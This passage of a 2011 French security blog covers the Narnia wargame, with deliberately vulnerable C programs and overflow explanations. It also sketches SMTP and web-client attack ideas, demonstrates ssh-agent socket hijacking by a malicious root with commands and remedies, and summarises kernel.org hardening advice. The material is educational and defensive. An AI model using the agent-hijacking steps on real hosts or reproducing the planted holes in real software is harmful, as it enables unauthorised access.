        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1){
                seteuid(1006);
                strcpy(buffer,argv[1]);
        } 

        return 0;
}

Une différence est présente toutefois. Nous ne pouvons pas utiliser de variable d'environnement pour placer notre shellcode car elles sont toutes écrasées et remplies par des zéros. Néanmoins, il reste une solution que je donne après le saut.


jeudi 20 octobre 2011

Challenge sur intruded - Narnia Level4

Retour aux exploitations de mémoire avec ce message. Le programme du niveau 4 de Narnia a attaquer est le suivant:
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <types.h/sys>
#include <stat.h/sys>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
  
int main(int argc, char **argv){
  
        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];
  
        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }
  
        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }
  
        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
  
        /* close 'em */
        close(ifd);
        close(ofd);
  
        exit(1);
}

Le programme se comprend facilement. Il prend en entrée un fichier de nom ifile et ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme file descriptor ofd.
L'exploitation va ressembler au niveau 1 de Narnia.

Solution après le saut:

mercredi 19 octobre 2011

Duqu, le nouveau Stuxnet?

On passe de "Why we won't see another Stuxnet" a "Stuxnet Clone Found" en 3 mois :-)

Lien du tweet du haut:
Lien du retweet de Kaspersky:  http://www.securitynewsdaily.com/stuxnet-anniversary-look-ahead-0988/

Beaucoup de liens commencent à tourner. Liste volontairement écourtée:
On apprend entre autre qu'une clé ayant servi à signer duqu a été volée à un client de .....  symantec :-)

mardi 18 octobre 2011

Back to the basics : le patch management


J'ai donné ces derniers jours quelques exploitations de mémoires.
C'est fait de manière artisanale, avec gdb et une calculette hexa, mais tout le monde sait qu'il existe de meilleurs outils (ida, metasploit, d'autres?). Ces exploitations sont très simples, car il n'y a aucune protection sur l'OS ou le binaire. Ces protections n'empêchent pas l'exploitation, à chaque fois les attaquants réussissent à contourner ces barrières. Est-ce que la bataille est perdue?

J'ai lu un article de blog intéressant, indiquant la lassitude d'un hacker à se promener dans la mémoire pour réussir à obtenir un exploit fiable. Il parle de plusieurs semaines (mois) de recherche pour obtenir un exploit correct. La solution passe peut-être par là. La durée de vie trop longue semble une donnée importante. L'exemple de windowsXP est marquant. Nous avons une génération de pirates qui a pu passé 10 ans sur un système. Avec le release early release often popularisé par linux, le temps nécessaire à attaquer est supérieur à la durée de vie d'une release. Un second exemple vient d'une grosse société pour qui j'ai travaillé. La validation des socles (hardware, OS, BdD, logiciels) prenait plusieurs années. Une fois le socle validé, aucun changement ou patch n'est autorisé. D'un certain côté on gagne en sécurité de fonctionnement (la reliability) puisque le socle est _parfaitement_ connu, d'un autre on perd en sécurité (les failles) puisque le socle ne sera jamais patché. [Dans le cas présent, les machines n'étaient pas sur un réseau connecté à internet, mais je ne suis pas partisan de cette manière de faire]. Un pirate pourrait forger son exploit pendant des années avant de le lancer.

La durée d'utilisation d'un programme correctement protégé semble être une faille en soi. Nous avons donc d'un côté des binaires de plus en plus difficile à exploiter, et de l'autre des méthodes de rolling releases émergent comme Chrome ou firefox. Comment exploiter une faille si le programme attaqué change plusieurs fois par mois? Je n'ai pas vérifié, mais si chrome n'est pas attaqué dans les pwn2own, c'est qu'il est si solide que ça ou qu'il change trop fréquemment pour qu'on s'intéresse à l'attaquer?

Pour l'administrateur, c'est simple, c'est du patch management, et le patch management, ça fait bien depuis 2003 que c'est une technique maîtrisée.
L'immobilité pour les systèmes, c'est la mort assurée. La course en avant vers les versions toujours plus à jour serait une solution? Après le SDL, le release early release often pour l'ensemble du système d'information?

lundi 17 octobre 2011

Challenge sur intruded - Narnia Level3

Le niveau3 de Narnia continue dans la thématique des deux précédents. Nous avons vu comment écraser des données dans la mémoire (niveau 1), et ce qu'est un shellcode (niveau2).
Le code du niveau3 est le suivant:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]){
        char buf[128];
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);
        return 0;
}

L'exploitation semble moins triviale, mais n'importe quel programmeur peut constater la présence de la fonction strcpy qui va dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est passé en argument au programme, et qui donc peut faire plus de 128 octets. Il est donc possible d'écraser une partie de la mémoire avec un contenu que l'on maîtrise. Aucune variable n'est à remplacer, nous allons donc essayer de détourner le flux d'exécution du programme. Le programme va appeler strcpy, puis continuer le programme et faire le printf. Au lieu de lui faire appeler printf, forçons le à aller ailleurs. Le .gif animé du level1 de Narnia explique ça très bien.
Exploitation après le saut.

samedi 15 octobre 2011

Challenge sur intruded - Narnia Level2

Le niveau 2 est très didactique, le programme vulnérable est le suivant:
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include
#include
int main(){
        int (*ret)();
        if((ret=getenv("EGG"))==NULL){   
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }
        printf("Trying to execute EGG!\n");
        seteuid(1003);
        ret();
        return 0;
}

Nous avons donc un programme qui va exécuter simplement ce qui est situé dans une variable d'environnement. Nous avons tous entendu parler de shellcode. Cet exercice n'a pas vocation a être compliqué, il est surtout éducatif. L'exploitation après le saut:


vendredi 14 octobre 2011

Challenge sur intruded - Narnia Level1

Après Leviathan, je suis allé voir Narnia, qui est une série de challenges orientée failles de programmations, buffer overflows et format string vulnerabilities. Ce challenge est intéressant car il permet de mettre en pratique ces failles dont on entend si souvent parler dans le monde de la sécurité.

Pour mener à bien le début de ces challenges, deux aides. La première expliquant ce qu'est un buffer overflow de manière très didactique:



(image tirée de wikipedia)

Et une deuxième aide dans le man ascii qui donne la correspondance entre l'hexadécimal et les caractères alphanumériques. Au moins une valeur est à connaître, le 0x41 pour le A majuscule, cette valeur revient _souvent_ :-)

Le programme vulnérable à exploiter est celui-ci:
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include
#include
int main(){
        long val=0x41414141;
        char buf[20];
        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);
        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);
        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }
        return 0;
}


Avant d'exploiter ce programme, il faut comprendre le lien entre le code source, le code compilé et la mémoire. Ce code est compilé, puis exécuté. L'exécution d'un programme, c'est la copie du code compilé en mémoire, puis son exécution. L'exécution, c'est la parcours régulier de la mémoire, vu comme un fil directeur qui indique quoi faire (lire une variable, écrire une variable, aller ailleurs sur le fil d'exécution, etc..). Dans la mémoire, nous retrouvons plusieurs choses, à commencer par le nom du programme (le fameux argv[0] connu des codeurs C), et les emplacements des variables, qui sont côte à côte.

Dans la mémoire, nous avons donc deux variables contigües, val et buf. buf n'a que 20 octets de reservé. Si buf fait plus de 20 octets alors il déborde sur val. On peut se rendre compte facilement de ce comportement en donnant 22 fois la lettre 'a' minuscule lors du lancement de ce programme (a vaut 0x61 en hex). La variable 'val' contient deux 41 et deux 61 prouvant bien qu'il est possible de modifier une variable sans la manipuler directement. Une variable déborde sur une autre, c'est donc un buffer overflow.

L'exploitation est donnée après le saut:

jeudi 13 octobre 2011

Challenge sur intruded - Leviathan

De temps à autre je cherche à résoudre des challenges de sécurité. Il existe multitudes de sites, certains très ludiques, d'autres plus instructifs. On m'a fourni le site intruded.net qui offre un certain nombre de challenges. [update: Le site semble malheureusement down en ce moment :-/] Les machines sont rebootées régulièrement, vérifiez via la commande uptime qu'il reste suffisamment de temps pour pouvoir mener l'exploit à bout. Les mots de passes sont systématiquement enregistrés dans le dossier caché ~/.passwd des utilisateurs.

Les challenges sont classés par difficulté croissante. Le premier, Leviathan, est extrêmement simple. Aussi, je donne la solution des 8 niveaux en un message. Si vous souhaitez faire ce challenge, ne lisez pas plus loin :-)

Le challenge Leviathant est entièrement tourné vers de l'utilisation d'outil *nix. Pas de programmation, pas de failles l33t, juste un peu de curiosité intellectuelle et des connaissances de bases que tout linuxien qui a réussi à installer sa distro doit connaître.


mercredi 12 octobre 2011

Attaquons les serveurs lorsqu'ils sont clients

Ce message expose une idée qui date de longtemps que je n'ai jamais eu le temps de travailler. Nous savons tous que la majorité des protocoles internet reposent sur un mécanisme client / serveur. Par exemple un client web (Firefox) demande une page web (index.html) à un serveur web (apache).

Il arrive que des serveurs doivent se comporter comme des clients. L'exemple le plus connu est celui du serveur de mail, qui accepte des mails en tant que serveur et les envoie au destinataire en tant que client. [On peut retrouver cette notion en HTTP, mais cela concerne plus les langages comme php qui se retrouvent client web.]. Nous savons que les serveurs sont attaqués et étudiés continuellement, mais qu'en est il de leur robustesse lorsqu'ils sont clients?

Le choix du serveur de mail apparaît comme intéressant. Il est présent à peu près partout et il est vraisemblablement possible de faire envoyer un mail depuis un serveur légitime sur un serveur pirate. Il faut trouver une adresse qui bounce, un mail de refus ou un mail légitime demandant une réponse vers un enregistrement MX que l'on maîtrise, et le serveur SMTP victime s'y connectera.

J'ai effectué une étude rapide sur sendmail. Lorsque je l'utilise en serveur, il est très strict sur la réception des commandes SMTP. Un écart à la RFC et la connexion coupe. Par contre, si je me fais passer pour un serveur et que je demande à sendmail de lui envoyer un mail, alors il devient beaucoup plus laxiste:

Sendmail        --           Pirate
EHLO sendmail -->
                 <-- 502 Command not implemented
HELO sendmail -->
                 <-- 250 Ok
MAIL FROM: -->
                 <-- 250 Ok
RCPT TO: -->
                 <-- Test
                 <-- (1024 x le caractère A )
                 <-- d’autres caractères
                 <-- 250 Ok
DATA -->
                 <-- 354 Start mail
( mail )
. -->
                 <-- 250 Ok
QUIT -->
                 <-- 250 Ok

Ce test est moyennement concluant, je n'ai pas pu faire crasher sendmail, menant peut-être à une exploitation, mais j'ai montré qu'il est possible de sortir du chemin classique des RFC sans que sendmail ne le détecte. J'ai même pu envoyer une image iso sans problème, cela peut donc tout à fait être utilisé comme un canal de communication caché.

J'ai trouvé extrêmement peu de littérature à ce sujet. Il existe une vieille faille sur Exchange (datant de 2002) basée sur ce principe. Il reste à celui que ça intéresse de tester sur l'intégralité des serveurs SMTP disponibles ce genre d'attaques. Le nombre de commandes disponibles EHLO rend le test exhaustif des réponses encore un peu plus long.

mardi 11 octobre 2011

Et si on essayait de DoSser le client web?

La faille 2011-3192 avait pour cible apache et permettait d'effectuer un DoS sur le serveur. Cette faille m'a donné une idée que je n'ai jamais poussée faute de temps, si cela intéresse quelqu'un pour tester, qu'il le fasse savoir :-), cela fait partie de mon stock de message de blogs non terminé que je donne ici.

La faille CVE originale se basait sur une requête d'un client demandant un très grand nombre de fragments au serveur. J'ai donc réfléchi sur l'effet inverse: Comment se comporte un client lorsqu'on lui envoie plusieurs fragments, de préférence très éloigné les uns des autres en réponse à une requête?
C'est à dire qu'un client requête une page web normalement (GET, etc..) et le serveur lui renvoie une réponse Partial de grande taille, p.ex. les octets 1 à 10, puis 4Go à 4Go+10octets. Est-ce qu'il crashe?

Il faut donc tester:
-le comportement des clients webs face à une réponse Partielle alors qu'une page complète est demandée; peut-être affiche-t'il une partie, peut-être qu'il refuse la page.
-le comportement des clients web face à cette page partiell. Allouent-ils immédiatement l'espace, où seulement les octets réellement reçus?
-est-ce qu'il y a moyen d'améliorer le process en choisissant mieux les plages renvoyées?

Je n'ai pas trouvé de littérature à ce sujet, il y a peut-être à creuser.

lundi 10 octobre 2011

Attaquer ssh avec ssh-agent.

Le post de blog précédent citait un commentaire de Ted Tso: Note that if your laptop allows incoming ssh connections, and you logged into master.kernel.org with ssh forwarding enabled, your laptop may not be safe. Ce post va expliquer ce risque de sécurité.

1/Rappels
ssh permet de se connecter à une machine distante en s'authantifiant de différentes manières, notamment via une paire de clés RSA. Ces clés peuvent être protégées (et c'est conseillé) par un mot de passe.
ssh-agent permet de conserver l'accès à ces clés une fois le mot de passe donné une première fois. ssh-agent permet aussi de faire suivre l'accès aux clés entre différentes machines. Ex: je me logge depuis 'host' sur A, puis sur B, le serveur sshd de B peut demander la clé sur host à l'aide de l'agent.

2/Usages
Généralement, on lance ssh-agent, puis on ajoute les clés nécessaires à l'aide de ssh-add. Une session s'affiche donc généralement:
iMac:~ test3$ ssh-agent
SSH_AUTH_SOCK=/tmp/ssh-xLT5wqNT0G/agent.720; export SSH_AUTH_SOCK;
SSH_AGENT_PID=721; export SSH_AGENT_PID;
echo Agent pid 721;
iMac:~ test3$ ssh-add
Identity added: /Users/test3/.ssh/id_rsa (/Users/test3/.ssh/id_rsa)
iMac:~ test3$

Puis la connexion est faite sur une machine distante, la connexion se fait sans mot de passe grâce à l'échange de clés RSA:

iMac:~ test3$ ssh -A kevin@192.168.1.99
Last login: Sat Oct  4 11:52:03 2011 from macos
Linux 2.6.37.6.
kevin@slackware:~$ env | grep SSH
SSH_CLIENT=192.168.1.5 50840 822
SSH_TTY=/dev/pts/3
SSH_AUTH_SOCK=/tmp/ssh-GOTNp27472/agent.27472
SSH_CONNECTION=192.168.1.5 50840 192.168.1.99 822
Et l'agent est accessible via une socket dans /tmp. Ce qui signifie que tout accès à cette socket donne accès à l'agent. Cette socket est protégée via des droits Unix:

kevin@slackware:~$ ls -la /tmp/ssh-GOTNp27472/
total 8
drwx------  2 kevin users 4096 oct.   4 14:27 ./
drwxrwxrwt 10 root  root  4096 oct.   4 14:27 ../
srwxr-xr-x  1 kevin users    0 oct.   4 14:27 agent.27472=
kevin@slackwall:~

3/ Conditions d'exploitation
Il est connu que root accède à tous les fichiers indépendamment des droits Unix, il a donc accès à la socket, et donc accès aux clés via l'agent:
root@slackware:~# export SSH_AUTH_SOCK=/tmp/ssh-sXrpwak27467/agent.27467
root@slackware:~# ssh-add -l
2048 a3:06:99:bc:e3:0d:7e:f4:e9:48:07:55:fd:ee:1b:be /Users/test3/.ssh/id_rsa (RSA)
root@slackwall:~#
Ceci devrait être bénin comme conséquence. La clé privée accessible sert à l'utilisateur test3 pour se connecter sur une machine distante. Mais, et c'est bien là ou se situe le noeud du problème, des utilisateurs choisissent expressément cette clé également comme clé de connexion personnelle! i.e. l'utilisateur test3 emploie la clé /Users/test3/.ssh/id_rsa.pub dans /Users/test3/.ssh/authorized_keys

Et là, c'est le drame, il devient dès lors possible pour root de se connecter sur la machine:
root@slackware:~# ssh -l test3 macos
Last login: Sat Oct  4 13:53:46 2011
iMac:~ test3$
Le client ssh se connecte sur macos, une demande d'échange de clé est faite; cette demande remonte à l'agent qui donne la liste de clés présente (id_rsa), qui correspond avec l'une du fichier authorized_keys : connexion établie. Et le root malveillant de la machine slackware a pu se connecter sur la machine macos via l'identité de test3.

4/ Remédiations
Le problème de ce setup provient de l'usage fait par cette clé. Elle sert aussi bien à se connecter sur une machine distante que sur la machine locale. Dit d'une autre manière, cela reviendrait à n'utiliser qu'un unique mot de passe entre une machine distante et une machine locale.
La solution consiste donc à utiliser plusieurs clés. La clé permettant de se connecter à slackware ne doit permettre de ne se connecter qu'à slackware. Une autre clé doit être générée via ssh-keygen pour se connecter sur macos. Ainsi, même si root accède à la socket de ssh, il n'aura pas l'autorisation pour se logger, l'agent n'ayant pas la bonne clé.
Il est également possible de ne pas utiliser l'agent (désactivé dans la configuration par défaut d'openssh) ou de ne pas utiliser de serveur sshd sur la machine locale comme proposé lors de la discussion sur la mainling-list.

J'en profite pour citer une autre partie de son message: "Yes, that's paranoia. With security, the question is always, "are you paranoid *enough*"?"

samedi 8 octobre 2011

Vérifier la sécurité de sa machine - kernel.org

Après avoir subi une attaque récemment, le site kernel.org a été réinstallé et est revenu on-line.
Les développeurs ont fait suivre une série de best-practice aux développeurs à faire avant de chercher à se reconnecter sur kernel.org. Voici extraits les messages les plus techniques de la mailing list LKML.

Le premier message donne une série de mesures, qui commence par "s'assurer que son système n'est pas compromis". Le reste est plus spécifique à GPG et permet de s'assurer via une chaîne de confiance humaine (et non automatiques comme les certificats SSL/TLS de nos navigateurs) que les clés GPG correspondent bien aux bonnes personnes.
Le second donne une série de bonnes pratiques afin de "vérifier son système" comme indiqué au point 1 du message précédent. Il conseille de tout réinstaller, de faire un check anti-rootkits, de vérifier ses logs, vérifier la signature des paquets. Classique, mais un rappel ne fait pas de mal.
Le troisième précise une série de mesures pour lire et exploiter au mieux ses logs. Je trouve une idée particulièrement bonne: check for suspicious DNS requests from machines that are normally not accessed. A number of services perform DNS requests when connected to, in order to log a resolved address. If the machine was penetrated and the logs wiped, the DNS requests will probably still lie in the firewall logs. While there's nothing suspect from a machine that does tens of thousands DNS requests a day, one that does 10 might be suspect. Le DNS est un allié particulièrement efficace comme IDS, c'est connu.
Le quatrième message indique (entre autre) un point qui me semble évident: si root d'une machine distante est compromis, alors ne faites pas du ssh dessus avec un agent activé si vous n'utilisez qu'une clé! Note that if your laptop allows incoming ssh connections, and you logged into master.kernel.org with ssh forwarding enabled, your laptop may not be safe. Effectivement, mais cela demande quand même un setup particulièrement mal fichu. Pour que cette condition soit vraie il faut que vous chargiez dans l'agent la clé qui vous permette de vous connecter chez vous. Ce genre de setup existe (entre autre) si la même clé est utilisée de partout! Pour des développeurs kernel, ça paraît léger, c'est comme si vous utilisiez le même mot de passe pour tous les services... [Je donne la démo d'exploitation dans un post de blog à venir.]

Les admins qui remontent les services actuellement précisent qu'ils fourniront un rapport détaillé sur l'intrusion. J'espère pouvoir le lire bientôt.